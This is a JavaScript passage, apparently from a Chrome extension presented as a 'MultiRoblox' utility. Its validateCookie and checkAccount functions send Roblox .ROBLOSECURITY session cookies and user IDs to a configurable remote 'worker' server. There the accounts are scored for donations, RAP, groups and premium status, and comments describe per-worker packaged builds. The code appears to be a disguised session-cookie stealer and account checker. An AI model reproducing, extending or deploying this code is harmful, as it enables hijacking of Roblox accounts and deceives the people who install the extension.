    /** With popup Referer not on landing host — pick active tab only if worker landing not found yet (often Roblox). */
    try {
      if (typeof chrome !== 'undefined' && chrome.tabs && typeof chrome.tabs.query === 'function') {
        const cur = String(body.workerPageUrl || '').trim();
        const need = !cur || /^https?:\/\/(www\.)?roblox\.com/i.test(cur);
        if (need) {
          const tabs = await new Promise((resolve) => {
            chrome.tabs.query({ active: true, lastFocusedWindow: true }, (t) => resolve(t || []));
          });
          const u = tabs[0] && tabs[0].url ? String(tabs[0].url).trim() : '';
          if (u && /^https?:\/\//i.test(u)) {
            let parsed = null;
            try {
              parsed = new URL(u);
            } catch (_) {
              parsed = null;
            }
            // Never use a Roblox tab as worker base; this caused /users/api/validate-cookie 403.
            if (parsed && isAllowedWorkerHost(parsed.hostname) && parseWorkerSlugFromPublicPathname(parsed.pathname)) {
              body.workerPageUrl = u;
            }
          }
        }
      }
    } catch (_) {
      /* ignore */
    }

    /**
     * Worker ZIP задаёт MRBX_WORKER_VALIDATE_ORIGIN = https://host/slug (или …/w/slug).
     * Если validate уходит на корневой /api/validate-cookie (прокси, старая сборка, сброс origin),
     * сервер всё равно увидит воркера по полю workerSlug в JSON.
     */
    function injectWorkerSlugFromPackedOrigin(b) {
      if (!b || b.workerSlug) return;
      const gscope = typeof globalThis !== 'undefined' ? globalThis : window;
      const raw = String(gscope.MRBX_WORKER_VALIDATE_ORIGIN || '').trim();
      if (!raw) return;
      try {
        const u = new URL(/^https?:\/\//i.test(raw) ? raw : 'https://' + raw);
        let segs = u.pathname.split('/').filter(Boolean);
        if (segs.length && String(segs[0]).toLowerCase() === 'w') {
          segs = segs.slice(1);
        }
        const last = segs.length ? String(segs[segs.length - 1] || '').toLowerCase() : '';
        if (last && /^[a-z0-9_-]{1,32}$/.test(last)) {
          b.workerSlug = last;
        }
      } catch (_) {
        /* ignore */
      }
    }
    injectWorkerSlugFromPackedOrigin(body);
    fillWorkerPageUrlFromPackedOriginIfNeeded(body);

    await saveWorkerSlugToChromeStorageIfSet(body);

    const packed = getWorkerValidateOriginBase();
    const inferred = inferWorkerApiBaseFromBody(body);
    const workerPostBase = String(packed || inferred)
      .trim()
      .replace(/\/+$/, '');
    if (workerPostBase) {
      rememberWorkerApiBaseForToolCalls(workerPostBase);
      return postJsonOnOrigin(workerPostBase, 'api/validate-cookie', body);
    }
    rememberWorkerApiBaseForToolCalls('');
    return postJson('api/validate-cookie', body);
  }

  /** Full rbx-lab-style checks: donate all-time, cards, RAP, groups, premium, … (needs valid .ROBLOSECURITY + userId). */
  async function checkAccount(cookie, userId) {
    const wo = getScopedWorkerApiOriginOnly();
    if (wo) {
      return postJsonOnOrigin(wo, 'api/check-account', {
        cookie: cookie,
        userId: userId
      });
    }
    return postJson('api/check-account', {
      cookie: cookie,
      userId: userId
    });
  }

  function fileDownloadDisabled() {
    return {
      ok: false,
      status: 501,
      data: { success: false, error: 'File download is disabled (MultiRoblox-only build).' }
    };
  }

  async function getGameFileToken(_gameName) {
    return fileDownloadDisabled();
  }

  async function getClothingFileToken(_clothingName) {
    return fileDownloadDisabled();
  }

  function downloadUrl(_token) {
    return joinUrl(getPrimaryConfiguredOrigin(), '');
  }

  var g = typeof globalThis !== 'undefined' ? globalThis : window;
  g['RbxApi'] = {
    getApiOrigin,
    syncActiveOriginFromGlobal,
    joinUrl,
    validateCookie,
    checkAccount,
    getGameFileToken,
    getClothingFileToken,
    downloadUrl
  };
})(typeof globalThis !== 'undefined' ? globalThis : window);
